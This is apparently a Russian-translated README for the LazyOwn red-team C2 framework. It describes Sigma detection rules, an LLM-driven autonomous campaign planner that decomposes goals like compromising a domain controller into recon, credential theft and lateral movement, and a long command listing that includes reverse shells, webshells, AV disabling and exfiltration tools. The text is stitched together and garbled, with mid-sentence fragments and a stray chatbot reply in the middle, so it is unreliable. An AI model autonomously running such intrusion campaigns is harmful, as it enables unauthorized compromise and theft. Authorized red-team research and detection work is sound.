| `sigma_rules` | 10 правил Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |
**Движок обнаружения на основе правил Sigma** (LazyOwnBT `lazyownbt/detection.py`):
| ID | Правило | Уровень |
|----|------|-------|
| LAZYOWN-001 | Дамп учётных данных Mimikatz | critical |
| LAZYOWN-002 | Паттерн обратной оболочки | critical |
| LAZYOWN-003 | Повышение привилегий через Sudo | high |
| LAZYOWN-004 | Обнаружено сканирование Nmap | medium |
| LAZYOWN-005 | Выполнение веб-оболочки | critical |
| LAZYOWN-006 | Инъекция в процесс | high |
| LAZYOWN-007 | Доступ к /etc/shadow | critical |
| LAZYOWN-008 | Закрепление через Cron | high |
| LAZYOWN-009 | Боковое перемещение SMB | high |
| LAZYOWN-010 | Эксфильтрация данных | high |
**Выходные файлы:**
- `sessions/purple_dataset.csv` — набор данных для обучения ML
- `sessions/purple_audit.jsonl` — полный журнал аудита
- `sessions/detection_feedback.jsonl` — калибровка оракула
**Примечание:** Для промышленного использования интегрируйтесь с реальной SIEM (Wazuh, Elastic SIEM, Splunk) через пересылку журналов auditd. Встроенные правила Sigma предназначены только для офлайн-тестирования.
### Hive Mind — `skills/hive_mind.py`
Многоагентная архитектура queen+drone с общей памятью:
- **QueenBrain** (Claude): высокоуровневая оркестрация + ConsensusProtocol для действий с высоким риском
- **DronePool** (Groq/Ollama): параллельное выполнение задач разведки/эксплуатации/учётных данных/бокового перемещения/повышения привилегий
- **HiveMemory**: семантическое хранилище ChromaDB + эпизодическое SQLite + долговременное хранилище Parquet
- **EpisodeReflectionEngine**: извлечение уроков после кампании, сохраняемое как `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**Первый C2-фреймворк, который планирует, выполняет и обучается автономно.**
ACI устраняет разрыв между целью взаимодействия на естественном языке и полностью
автономным циклом выполнения. Ни один конкурент (Cobalt Strike, Sliver, Havoc,
Metasploit) не делает этого от начала до конца:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Три инструмента MCP:
| Инструмент | Что он делает |
|---|---|
lazyown_aci_plan | Декомпозиция цели → план ATT&CK → внедрение целей |
lazyown_aci_status | Разбивка по текущим фазам, процент завершения, рекомендация по перепланированию |
lazyown_aci_replan | Принудительное адаптивное перепланирование при застое; автоматическая генерация выводов |
Быстрый старт:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**Что делает ACI уникальным по сравнению с другими инструментами:**
- Cobalt Strike / Sliver / Havoc — это C2-фреймворки, где оператор планирует каждый шаг
- Metasploit имеет автоматизацию, но не имеет интеллекта
- CALDERA эмулирует фиксированные процедуры ATT&CK, но не может адаптироваться к новым средам
- **ACI планирует, выполняет, перепланирует и обучается — непрерывно, в рамках нескольких кампаний**
**Сохранение состояния:**
| Файл | Содержимое |
|------|----------|
| `sessions/aci_plan.json` | Активный план: фазы, цели, состояние выполнения |
| `sessions/aci_history.jsonl` | Архив завершённых/отменённых планов |
| `sessions/campaign_lessons.jsonl` | Уроки, извлечённые ACIReflector |
**Использование CLI (автономно):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyЧетыре роли asyncio в одном процессе — Claude не требуется между шагами:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
Включение SWAN в демоне: `export AUTO_USE_SWAN=1` перед запуском.
ACI передаёт данные в демон: цели, внедрённые через `lazyown_aci_plan`, автоматически подхватываются Ролью 1 (ObjectiveLoop) — дополнительная настройка не требуется.
### Рассуждения на основе графа — `modules/world_model.py`
NetworkGraph отслеживает все обнаруженные взаимосвязи (хосты, сервисы, учётные данные, пути доверия) и вычисляет нормализованную степень центральности для выявления кандидатов на роль точки опоры. Топ-3 кандидата внедряются в каждый вызов `to_context_string()`, гарантируя, что автономный цикл всегда знает цели горизонтального перемещения с наибольшей ценностью.
## Ограничитель области авторизации
У фреймворка для red team, который читает свою цель из `payload.json`, есть опасная грань: случайный `rhost` запускает наступательные команды по неавторизованному хосту. Ограничитель области — это страховочная сеть. Каждая интерактивная команда проходит через единую точку контроля, которая проверяет активную цель на соответствие вашей авторизованной области взаимодействия перед выполнением команды.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off,
поэтому существующие кампании не затрагиваются, пока вы не включите его. Любая внутренняя ошибка
разрешает команду, а не блокирует оператора.warn помечает наступательные команды вне области; enforce блокирует их
до явного подтверждения (и отказывает в неинтерактивных сессиях).do_* классифицируются автоматически.payload.json (scope, scope_enforcement); чистая логика находится в
cli/scope_guard.py с нулевой связью с оболочкой.Зависимости объявлены один раз в pyproject.toml (единый источник истины) и
зафиксированы для воспроизводимых установок:
requirements.txt — кросс-платформенная блокировка ядра (без CUDA-колёс).requirements-ml.txt — опциональный, тяжёлый ML-стек (torch/CUDA, scikit-learn).install.sh работает в строгом режиме и идемпотентен. Установка по умолчанию
лёгкая; дополнительные компоненты включаются через --with-ml (ML-стек на 2 ГБ), --with-ollama
(локальная среда выполнения LLM) и --with-tools (распространённые внешние бинарники).pip install -e .[ml,dev].Ctrl+K), встроенные реактивные подсказки после каждой команды и панель управления Textual TUI.yara_marketplace (10 встроенных правил: ransomware, C2, webshells, обфускация, privesc), nuclei_marketplace (500+ шаблонов), marketplace для плагинов/дополнений сообщества — всё доступно для просмотра через curses TUI.auto_pwn автоматически проходит фазы kill-chain, hunt выполняет целевой поиск на основе известных TTP.auto_crypto шифрует конфиденциальные файлы сессий при выходе и расшифровывает при запуске (PBKDF2HMAC + Fernet), прозрачно для оператора.dlopen. Совместимый на уровне исходного кода API datap с контрактом Windows BOF. Прямые системные вызовы и поддержка io_uring.sessions/captured_images.lazynmap.

cron для планирования и автоматизации задач, обеспечивая постоянные симуляции угроз.

/addons в панели управления C2 для создания интеграций lazyaddons/*.yaml без ручного редактирования YAML. Одна форма предоставляет все параметры дополнения (имя, описание, автор, версия, включено, целевая ОС, сервисы-триггеры, категория, тип модуля, тип установки, параметры, блок инструмента, дополнения C2, переменные окружения) с подсказками, заполнителями и справкой по каждому полю. Чипы-заполнители ({rhost}, {url}, объявленные параметры и каждый ключ payload.json) перетаскиваются в поля команд. Серверная валидация отклоняет небезопасные имена, обход путей, неизвестные заполнители и некорректные URL до записи файла; записи атомарны и безопасны (временный файл создаётся с ограничительными правами через mkstemp + fchmod, сбрасывается и синхронизируется, затем продвигается через os.replace). Страницы списка и предпросмотра YAML завершают жизненный цикл. Каждый маршрут изменения защищён CSRF. Контракт: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, покрыт tests/test_addon_creator.py и мутационным шлюзом tests/run_mutation_addon_creator.py..pdfx), и встраивает пользовательские иконки через rsrc для убедительной социальной инженерии.
modules/killchain.py вычисляет фазу; каждая поверхность (CLI /killchain,
/api/killchain, C2 /api/data+/api/dashboard, панель GUI2) отображает свой
snapshot()./api/beacon_results/<client_id>,
на основе modules/beacon_history.py (JSONL, безопасный для путей)./killchain auto on|off|N с живым автообновлением; флаги
killchain_auto_every / killchain_auto_on_phase_change.Просматривайте, ищите и устанавливайте из унифицированного TUI маркетплейса:
yara_marketplace list|search|install|info -- 10 встроенных правил (ransomware, C2, webshells, обфускация, privesc)nuclei_marketplace list|search|install|info -- 500+ шаблонов из ~/nuclei-templatesmarketplace list|search|install|update -- 137 YAML-дополнений, 57 плагинов, 69 инструментовauto_pwn -- автономный проход kill-chain от разведки до эксплуатацииhunt -- разведка на основе угроз: сопоставляет известные TTP с обнаруженными сервисамиПрозрачное шифрование сессий при выходе / расшифровка при запуске через PBKDF2HMAC + Fernet.
7 профилей APT: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.
chainmode on запускает поток связывания на основе мировой модели: после каждой команды
оболочка предлагает ранжированные следующие шаги (Enter = лучшее предложение, 1..N = ранжированная
альтернатива, любая команда = переопределение, skip = вручную, ESC/Ctrl+C/off =
выход). Неверные выборы запрашивают повторно вместо молчаливого пропуска, и поток
автоматически приостанавливается после max_steps связанных команд. Состояние сохраняется в
sessions/chain_mode.json (атомарные записи). Контракт: cli/chain_mode.py +
cli/command_chain.py.
[0, 99], никогда не бесчестные 100%), причину и происхождение. Контракт:
cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py — единый источник истины для списков недейственных
глаголов, общих для подсказок, советов и режима цепочки.core/api_authz.py теперь реализует документированное
окно отсрочки ротации, копирует разрешения из ротированного ключа (регрессия
исправлена), возвращает JSON 401/403 (безопасно с TRAP_HTTP_EXCEPTIONS), и
конечная точка C2 /api/health/tenant действительно принудительно применяется. Мутационный шлюз:
tests/run_mutation_api_authz.py (7/7 убито).core/logging.py install_json_handler сохраняет уже существующие обработчики
и идемпотентен.Централизованные примитивы безопасности в core/hardening.py с 48 BDD-тестами
(tests/test_security_hardening_v3.py). Запуск с помощью:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**Ключевые исправления:**
- `shell=True` устранён из `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 случая)
- `os.system()` устранён из `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 случая), `misc_migrated.py`
- `os.popen()` устранён из `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` заменён на `sshpass -e` + переменную окружения в 4 файлах (C2, lateral, exfil, persist)
- Жёстко заданный ключ шифрования удалён из `phishing_orchestrator.py` (ENCRYPTION_KEY обязателен)
- XSS в баннере C2 исправлен с помощью `html.escape()`
- Инъекция команд через rhost в буфере обмена исправлена с помощью `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` переименован в `COMMAND_ATTR_HELP_CATEGORY` (совместимость с cmd2 4.2.2)
---
## Возможности команд
LazyOwn предоставляет 741 команду на 13 фазах kill-chain, доступных как из CLI, так и из веб-панели C2:
| Фаза | Ключевые команды |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistence | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |
Основное управление: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.
См. [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) для полного справочника из 606 команд и [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) для 18 команд, покрывающих 80% задач.
# Расширение LazyOwnShell с помощью плагинов Lua
В этом документе объясняется, как использовать скриптинг на Lua для расширения функциональности приложения `LazyOwnShell`, построенного на основе фреймворка `cmd2` на Python. Lua позволяет писать собственные плагины, которые могут добавлять новые команды, изменять существующее поведение или получать доступ к данным приложения.

---
## Содержание
1. [Введение](#introduction)
2. [Настройка плагинов Lua](#setting-up-lua-plugins)
3. [Написание плагинов Lua](#writing-lua-plugins)
4. [Регистрация новых команд](#registering-new-commands)
5. [Доступ к данным приложения](#accessing-application-data)
6. [Обработка ошибок](#error-handling)
7. [Примеры плагинов](#example-plugins)
8. [Лучшие практики](#best-practices)
---
## 1. Введение
Приложение `LazyOwnShell` поддерживает скриптинг на Lua, что позволяет пользователям расширять его функциональность без изменения основного кода на Python. Скрипты Lua (плагины) хранятся в каталоге `plugins/` и автоматически загружаются при запуске приложения.
Плагины Lua могут:
- Добавлять новые команды в оболочку.
- Изменять существующие команды или поведение.
- Получать доступ к данным приложения, предоставляемым Python, и управлять ими.
---
## 2. Настройка плагинов Lua
Чтобы использовать плагины Lua, убедитесь в следующем:
1. Установите библиотеку `lupa` в вашей среде Python: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
При запуске приложение выполняет init_plugins.lua, который загружает все остальные файлы .lua в каталоге plugins/.
Структура плагина на Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
Ключевые функции
- register_command(command_name, lua_function):
- Регистрирует новую команду в оболочке.
- command_name: Имя команды (например, hello).
- lua_function: Функция Lua, выполняемая при вызове команды.
3. Регистрация новых команд
Чтобы добавить новую команду в оболочку, выполните следующие шаги:
- Определите функцию Lua, реализующую логику команды.
- Используйте register_command, чтобы зарегистрировать функцию как команду.
- Пример: Добавление команды hello
- Создайте файл plugins/hello.lua со следующим содержимым: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
Теперь вы можете запустить команду hello в оболочке:
bash hello Lua Hello, Lua!
4. Лучшие практики
Используя скрипты Lua, вы можете расширить функциональность LazyOwnShell без изменения основного кода на Python. Это обеспечивает большую гибкость и настраиваемость, позволяя пользователям писать собственные плагины для удовлетворения конкретных потребностей. Удачного кодинга!
Расширение возможностей LazyOwn RedTeam Framework ещё никогда не было таким простым, даже для непрограммистов, благодаря системе LazyAddons, которая позволяет расширять функциональность с помощью файлов YAML.
Декларативное создание команд через конфигурационные файлы YAML.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
Расширенная конфигурация```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Возможности Автоматическая установка Инструменты клонируются из Git при отсутствии:```bash git clone <repo_url> <install_path>
Подстановка параметров
Заменяет {param} в командах значениями из:
- Аргументов команды
- Значений по умолчанию
- self.params
- Интеграция со справкой
help <command> отображает описание YAML.
Шаблон```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ Использование Поместите YAML-файлы в lazyaddons/
Запустите ваше CLI-приложение
Выполните зарегистрированные команды:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 Устранение неполадок
Отсутствующие параметры: проверьте обязательные поля в YAML
Ошибки установки: проверьте доступ к сети/git
Ошибки команд: проверьте синтаксис execute_command
Ключевые особенности:
- Чистый markdown в стиле GitHub
- Сфокусирован только на YAML-аддонах
- Включает готовые к использованию шаблоны
- Документирует систему подстановки параметров
- Предоставляет советы по устранению неполадок
Хотите, чтобы я добавил какие-либо конкретные примеры или сценарии использования?

LazyOwn на Reddit
Революционизируйте свой пентестинг с LazyOwn: автоматизируйте вторжение на Linux, MAC OSX и Windows ЖЕРТВАХ
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Откройте для себя LazyOwn — идеальное решение для автоматизации рабочего процесса пентестинга при атаках на системы Linux, MacOSX и Windows. Наш мощный инструмент упрощает пентестинг, делая его более эффективным и результативным. Посмотрите это видео, чтобы узнать, как LazyOwn может оптимизировать ваши оценки безопасности и улучшить ваш арсенал кибербезопасности.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn идеально подходит для специалистов по кибербезопасности, ищущих централизованное и автоматизированное решение для своих задач пентестинга, экономя время и повышая эффективность выявления и эксплуатации уязвимостей.

Python 3.x
Модули Python:
subprocess (входит в стандартную библиотеку Python)
platform (входит в стандартную библиотеку Python)
tkinter (опционально для GUI)
numpy (опционально для GUI)
2. Установите зависимости Python:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
| `--no-color` | Отключить цветной вывод |
| `--debug` | Включить отладочный вывод |
| `--verbose` | Включить подробный вывод |
| `--silent` | Отключить весь вывод, кроме ошибок |
| `--version` | Показать версию программы и выйти |
| `--help` | Показать справку и выйти |```
Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help
01. Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
03. Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
04. Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
05. Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
06. Privilege Escalation
────────────────────────
responder smbserver
07. Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
08. Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
09. Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
10. Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
11. Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
12. Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
13. Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
14. Yaml Addon.
───────────────
AdaptixC2 GoPEInjection OverRide
agentzero gosearch peeko
argfuscator gui pretender
ATTPwn gui2 PTMultiTools
AuroraPatch hack_browser_data PTMultiTools_scan
banner_tool hellbird PyinMemoryPE
bbr hive pyrit
beacon hooka_linux_amd64 raven
blacksandbeacon hostdiscover ridenum
blacksandbeacon_bof kivi_revshell setoolkit
cgoblin_windows laps ShadowLink
Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored
commix2 lazyagentAi SigPloit
copy-fail-CVE-2026-31431 lazybinenc spoonmap
CVE-2022-22077 lazyftpsniff stratus_detonate
CVE_2025_24071_PoC LazyLoader stratus_list
demiguise lazymapd toposwarm
ebird3 lazyownbt unicorn
evilginx2 LazyOwnExplorer upxdump
gcr llm vulnbot
gemini-cli NullGate vulnbot_groq
gen_dll_rev oniux vulnhuntr
Get_ReverseShell opencode_adapter watchguard
githubot orpheus wspcoerce
gomulti_loader_linux
gomulti_loader_windows
15. Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
16. Artificial Intelligence
───────────────────────────
ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $
https://deepwiki.com/grisuno/LazyOwn/```sh LazyOwn> assign binary_name my_binary LazyOwn> assign rhost 192.168.1.100 LazyOwn> assign api_key my_api_key LazyOwn> run lazysearch LazyOwn> run lazynmap LazyOwn> exit

Для поиска по базе данных, полученной из GTFOBins.```sh
python3 lazysearch.py binario_a_buscar
Дополнительные функции и улучшения: AutocompleteEntry:
В список автодополнения добавлен фильтр для удаления значений None. Новый вектор атаки:
В главный интерфейс добавлена кнопка "New Attack Vector". Реализована функциональность добавления нового вектора атаки и сохранения обновлённых данных в файлы Parquet. Экспорт в CSV:
В главный интерфейс добавлена кнопка "Export to CSV". Реализована функциональность экспорта данных DataFrame в выбранный пользователем CSV-файл. Использование:
Добавить новый вектор атаки: нажмите кнопку "New Attack Vector", заполните поля и сохраните. Экспорт в CSV: нажмите кнопку "Export to CSV" и выберите место для сохранения CSV-файла. Новая функция scan_system_for_binaries:
Реализует общесистемный поиск бинарных файлов с использованием команды file для определения, является ли файл бинарным. Использует os.walk для обхода файловой системы. Результаты отображаются в новом окне в графическом интерфейсе. Кнопка для поиска бинарных файлов:
В главный интерфейс добавлена кнопка "Search System for Binaries", которая вызывает функцию scan_system_for_binaries. Примечание:
Функция is_binary использует команду Unix file для определения, является ли файл бинарным исполняемым файлом. Если вы используете другую операционную систему, вам потребуется адаптировать этот метод для совместимости. Эта реализация может быть ресурсоёмкой, так как она обходит всю файловую систему. Возможно, стоит добавить дополнительные опции для ограничения поиска конкретными каталогами или фильтрации по определённым типам файлов.```sh python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
Если вы хотите обновить, действуем следующим образом:```sh cd LazyOwn rm parquets/.csv rm parquets/.parquet ./update_db.sh
## Использование режима LazyOwn WebShells
LazyOwn Webshell Collection — это коллекция веб-шеллов для нашего фреймворка, которая позволяет нам установить веб-шелл на машине, где мы запускаем LazyOwn, используя различные языки программирования. По сути, LazyOwn Webshell поднимает веб-сервер в каталоге модулей, делая его доступным через веб-браузер. Это позволяет нам как предоставлять модули отдельно через веб, так и получать доступ к каталогу cgi-bin, где находятся четыре шелла: один на Bash, другой на Perl, ещё один на Python и один на ASP, на случай, если целевая машина работает под управлением Windows.```sh
lazywebshell
y listo ya podemos acceder a cualquiera de estas url:

Запускает инструмент `msfvenom` для генерации различных полезных нагрузок на основе ввода пользователя.
Эта функция предлагает пользователю выбрать тип полезной нагрузки из предопределённого списка и запускает соответствующую
команду `msfvenom` для создания нужной полезной нагрузки. Она выполняет такие задачи, как генерация различных типов
полезных нагрузок для систем Linux, Windows, macOS и Android, включая опциональное кодирование с помощью Shikata Ga Nai для C-полезных нагрузок.
Сгенерированные полезные нагрузки перемещаются в директорию `sessions`, где устанавливаются соответствующие права доступа. Кроме того,
полезные нагрузки могут быть сжаты с помощью UPX для экономии места. Если выбранная полезная нагрузка — это Android APK,
функция также подпишет APK и выполнит необходимые шаги постобработки.
:param line: Аргументы командной строки для скрипта.
:return: None```sh
run lazymsfvenom or venom
## Система командования и управления
Система командования и управления (C2) обеспечивает удалённые операции через архитектуру клиент-сервер с шифрованной связью.

## Использование Lazy PATH Hijacking
В /tmp будет создан файл с именем binary_name, заданным в payload, инициализированный с помощью gzip в памяти и использующий bash в payload. Чтобы задать payload из JSON, используйте команду payload для выполнения. Используйте:```sh
lazypathhijacking

